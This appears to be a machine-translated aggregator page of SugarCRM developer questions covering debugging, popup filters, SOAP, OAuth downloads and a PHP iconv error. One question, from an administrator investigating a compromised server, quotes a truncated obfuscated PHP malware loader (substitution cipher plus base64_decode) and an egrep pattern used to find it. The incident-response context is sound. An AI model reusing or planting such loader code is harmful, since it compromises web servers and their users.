标签: sugarcrm

你如何调试SugarCRM问题/了解SugarCRM如何工作?

我正在尝试将我们的公司从SalesForce转移到SugarCRM,但我遇到了一个讨厌的错误(当我向Accounts添加一个自定义字段时,所有帐户都停止显示).我们已经从SugarCRM人员那里获得了支持,但是他们只对开源版本提供了永远然后获得无价值的响应级技术支持(我们避免使用像瘟疫这样的专有软件).哦,我是否提到我们的Salesforce合同在本周末到期了?

所以,长话短说,我自己调试了SugarCRM应用程序.我是一个经验丰富的程序员,我有基本的PHP能力,但我甚至不知道在哪里尝试解决这个问题.那里的Sugar开发人员可以推荐任何调试Sugar的过程吗?是否有任何资源可以帮助我理解不同的PHP文件的作用,或者Sugar系统的整体运作方式?

就像我正在谈论的那种事情的一个例子:我想出了如何获得糖来打印堆栈跟踪,并通过以下几个我注意到一个涉及所有问题行的模式

$this->_tpl_vars
我想尝试弄清楚为什么那个方法调用不起作用,但我不知道:

A)_tpl_vars应该做什么
B)在哪里_tpl_vars定义
C)$this应该是什么
D)框架中$this的设置
等等

因此,如果有人可以帮助解释我将如何/在哪里开始寻找这些问题的答案,我将非常感激.

php sugarcrm

15
推荐指数
3
解决办法
8613
查看次数

php文件自动重命名为php.suspected

自从过去4天以来,我们在生产服务器(AWS EC2实例)上面临着一个奇怪的问题,该问题仅针对一个SugarCRM站点.

问题是/home/site_folder/public_html/include/MassUpdate.php文件自动重命名为/home/site_folder/public_html/include/MassUpdate.php.suspected

这种情况一天发生2-3次,间隙为3-4小时.仅在特定站点的情况下才会出现此问题,即使对于同一站点的暂存副本也不会发生此问题.我甚至从两个站点检查了该文件的代码,它是一样的.

我们使用Google搜索并发现,此问题主要发生在Wordpress网站上,可能是因为攻击.但我们检查了我们的服务器对抗攻击,没有任何.此外,服务器上没有运行病毒/恶意软件扫描.

我们应该做什么?

更新: 我们在通过此链接后发现了一些事情 我们执行egrep -Rl 'function.*for.*strlen.*isset' /home/username/public_html/并发现有少量文件包含以下示例代码.

    <?php
function flnftovr($hkbfqecms, $bezzmczom){$ggy = ''; for($i=0; $i < strlen($hkbfqecms); $i++){$ggy .= isset($bezzmczom[$hkbfqecms[$i]]) ? $bezzmczom[$hkbfqecms[$i]] : $hkbfqecms[$i];}
$ixo="base64_decode";return $ixo($ggy);}
$s = 'DMtncCPWxODe8uC3hgP3OuEKx3hjR5dCy56kT6kmcJdkOBqtSZ91NMP1OuC3hgP3h3hjRamkT6kmcJdkOBqtSZ91NJV'.
'0OuC0xJqvSMtKNtPXcJvt8369GZpsZpQWxOlzSMtrxCPjcJvkSZ96byjbZgtgbMtWhuCXbZlzHXCoCpCob'.'zxJd7Nultb4qthgtfNMtixo9phgCWbopsZ1X=';
$koicev = Array('1'=>'n', '0'=>'4', '3'=>'y', '2'=>'8', '5'=>'E', '4'=>'H', '7'=>'j', '6'=>'w', '9'=>'g', '8'=>'J', 'A'=>'Y', 'C'=>'V', 'B'=>'3', 'E'=>'x', 'D'=>'Q', 'G'=>'M', 'F'=>'i', 'I'=>'P', 'H'=>'U', 'K'=>'v', 'J'=>'W', 'M'=>'G', 'L'=>'L', 'O'=>'X', 'N'=>'b', 'Q'=>'B', 'P'=>'9', 'S'=>'d', 'R'=>'I', 'U'=>'r', 'T'=>'O', 'W'=>'z', 'V'=>'F', 'Y'=>'q', 'X'=>'0', 'Z'=>'C', …
Run Code Online (Sandbox Code Playgroud)

php linux apache amazon-ec2 sugarcrm

13
推荐指数
1
解决办法
2万
查看次数

在Sugar中,如何根据多对多关系场景中另一个关联字段的选择自定义弹出搜索以显示记录?

我有两个模块,考虑A和B.在它们之间,存在多对多的关系.现在,还有另一个模块,考虑C.A&C和B&C之间存在一对多.现在,在C模块的editview上,存在模块A和模块B的关联字段.

现在,在从模块A中选择任何记录之后,在从模块B中选择记录时,我想只显示那些与模块A的所选记录相关的记录.

现在,我遇到了这些链接,他们在这些模块之间具有一对多关系的场景中提供了解决方案.

如何根据父页面自定义弹出搜索以显示可能性?

SugarCRM:将字段传递默认值与弹出选择表单相关联

在"一对多"场景中,我们可以通过将以下代码添加到目标模块的editviewdefs.php文件来实现相同的目的,如下所示:

'displayParams' => array(
    'initial_filter' => '&contact_name_advanced="+encodeURIComponent(document.getElementById("contact_name").value)+"',
),
Run Code Online (Sandbox Code Playgroud)

或者像这样:

'displayParams' => array (   
    'initial_filter' => '&account_name={$fields.account_name.value}', 
),
Run Code Online (Sandbox Code Playgroud)

但是这些帖子都没有提到"多对多"情景的任何解决方案,也没有找到任何这样的帖子.

我发现了另一篇文章:

弹出列表中的SugarCRM自定义查询

它与上述解决方案一起建议在popdefs.php文件中添加几行代码.但这不是明智的选择,因为这个popdefs.php文件由SugarCRM自动生成.

我发现了几个帖子:

如何在Sugar CE 6.5.18中覆盖view.popup

我如何在SugarCRM中的view.popup中自定义查询

它建议在SugarCRM中的popupview(view.popup.php)中自定义sql查询.我试过了,但我仍然没有成功.请帮助.谢谢.

many-to-many sugarcrm popupwindow

11
推荐指数
0
解决办法
1229
查看次数

SugarCRM还是Vtiger?

我正在努力在Univeristy中部署CRM,部署的软件必须是开源的.我的研究引导我进入SugarCRM社区版,然而,这个版本缺乏报告,似乎很难根据具体需求进行定制.

因此,我正在考虑使用vtiger.

对于中型项目,您有什么建议? 您是否建议使用SugarCRM,Vtiger或其他软件?

crm sugarcrm vtiger

9
推荐指数
1
解决办法
1万
查看次数

SugarCRM Soap的get_entry_list方法

我尝试使用get_event_listSugarCRM SOAP 按字段名称订购帐户模块.

link_name_to_fields_array[] linkedFields = null;
String[] fields = new String[1];
fields[0] = "name";

var result = sugarClient.get_entry_list(sessionId, "accounts", "", "", 0,
fields, null, 100, 0, false);
Run Code Online (Sandbox Code Playgroud)

但是,当我执行这部分代码时,它不起作用.

对于方法:

get_entry_list (sessionId, module_name, query, order_by, offset, select_fields, link_name_to_fields_array, max_results, deleted, favorites);
Run Code Online (Sandbox Code Playgroud)

我认为该order_by方法拼写错误,但我不知道正确的语法是什么.

c# soap sugarcrm

9
推荐指数
1
解决办法
583
查看次数

学习SuiteCRM的资源?

我是一名没有CRM系统工作经验的开发人员.我想使用SuiteCRM构建一个简单的系统.但我无法在互联网上找到SuiteCRM的单一教程.相信我,我花了几天时间寻找教程,但我找不到.官方的Userguides文档对于开发目的绝对没用.我发现这本书是SuiteCRM For Developers,但它不适合初学者.它并没有涵盖大部分基本内容.请给我一个很好的教程(文档/视频),其中包括创建自定义实体(使用自定义实体的操作),工作流和REST API等主题.

crm sugarcrm suitecrm

9
推荐指数
2
解决办法
3227
查看次数

sugarcrm file升级后下载错误

我升级了sugar7.8之后收到了这个错误,它调用了我的filedownload.

{"error":"need_login","error_message":"No valid authentication for user."}
Run Code Online (Sandbox Code Playgroud)

经过一些调查发现,糖升级了对OAuth的API调用.以下是我的CODE:

 api.fileDownload(api.buildURL("Quotes/" + model.get("id") + "/pdf/download?OAuth-Token=" + api.getOAuthToken()), {
        success: function() {
            app.alert.show("pdf_download_api_success", {
                level: "success",
                messages: SUGAR.language.get('Quotes', 'LBL_QUOTE_PDF_GENERATED'),
                autoClose: true
            });
        },});
Run Code Online (Sandbox Code Playgroud)

我检查了以下网址中的detials:但我无法在HTTPS请求中添加headder可以帮助一些吗?

https://developer.sugarcrm.com/2016/11/15/security-changes-coming-in-sugar-7-8/

php sugarcrm oauth-2.0

9
推荐指数
1
解决办法
371
查看次数

自动过滤SQLAlchemy查询的正确方法?

我刚从sqlalchemy的CRM应用程序中反思了一个非常讨厌的架构.所有表都有一个已删除的列,我想自动过滤所有标记为已删除的实体和关系.这是我想出的:


class CustomizableQuery(Query):
    """An overridden sqlalchemy.orm.query.Query to filter entities

    Filters itself by BinaryExpressions
    found in :attr:`CONDITIONS`
    """

    CONDITIONS = []

    def __init__(self, mapper, session=None):
        super(CustomizableQuery, self).__init__(mapper, session)
        for cond in self.CONDITIONS:
            self._add_criterion(cond)

    def _add_criterion(self, criterion):
        criterion = self._adapt_clause(criterion, False, True)
        if self._criterion is not None:
            self._criterion = self._criterion & criterion
        else:
            self._criterion = criterion
Run Code Online (Sandbox Code Playgroud)

它的使用方式如下:

class UndeletedContactQuery(CustomizableQuery):
    CONDITIONS = [contacts.c.deleted != True]

    def by_email(self, email_address):
        return EmailInfo.query.by_module_and_address('Contacts', email_address).contact

    def by_username(self, uname):
        return self.filter_by(twod_username_c=uname).one()

class Contact(object):
    query = session.query_property(UndeletedContactQuery)

Contact.query.by_email('someone@some.com')
Run Code Online (Sandbox Code Playgroud)

EmailInfo是映射到电子邮件与其相关的其他模块之间的连接表的类. …

python sqlalchemy sugarcrm

8
推荐指数
1
解决办法
3403
查看次数

调用未定义的函数iconv()致命错误 - Suitecrm

使用suitecrm 7.9.1

每当我尝试创建一个潜在客户时,即在提交创建潜在客户表单后,我将面临以下错误.

每当我尝试导入csv文件时都面临同样的错误.仅在实时服务器上发生此错误

致命错误:未捕获错误:调用/home/testsite/public_html/modules/AOD_Index/Lib/Zend/Search/Lucene/Field.php:222中的未定义函数iconv()堆栈跟踪:#0/home/testsite/public_html/modules/AOD_Index/Lib/Zend/Search/Lucene/Index/SegmentWriter/DocumentWriter.php(131):Zend_Search_Lucene_Field-> getUtf8Value()#1/home/testsite/public_html/modules/AOD_Index/Lib/Zend/Search/Lucene/Index/Writer.php(244):Zend_Search_Lucene_Index_SegmentWriter_DocumentWriter-> addDocument(Object(Zend_Search_Lucene_Document))

2 /home/testsite/public_html/modules/AOD_Index/Lib/Zend/Search/Lucene.php(1410):

Zend_Search_Lucene_Index_Writer-> addDocument(Object(Zend_Search_Lucene_Document))#3 /home/testsite/public_html/modules/AOD_Index/AOD_Index.php(310):Zend_Search_Lucene-> addDocument(Object(Zend_Search_Lucene_Document))

4 /home/testsite/public_html/modules/AOD_Index/AOD_LogicHooks.php(36):

AOD_Index->​​ index('Leads','b81874eb-1233-5 ...')#5 /home/testsite/public_html/include/utils/LogicHook.php(262):AOD_LogicHooks-> saveModuleChanges(Object in L in/222号线上的home/testsite/public_html/modules/AOD_Index/Lib/Zend/Search/Lucene/Field.php

导致此错误的原因是什么.新手到suitecrm,如何解决它.

sugarcrm fatal-error suitecrm

8
推荐指数
2
解决办法
7387
查看次数

如何在sugarcrm中的模块中生成唯一的ID字段

想要在模块中生成唯一ID字段,该字段将自动生成唯一ID.任何人都可以帮忙吗?谢谢

sugarcrm

7
推荐指数
1
解决办法
6065
查看次数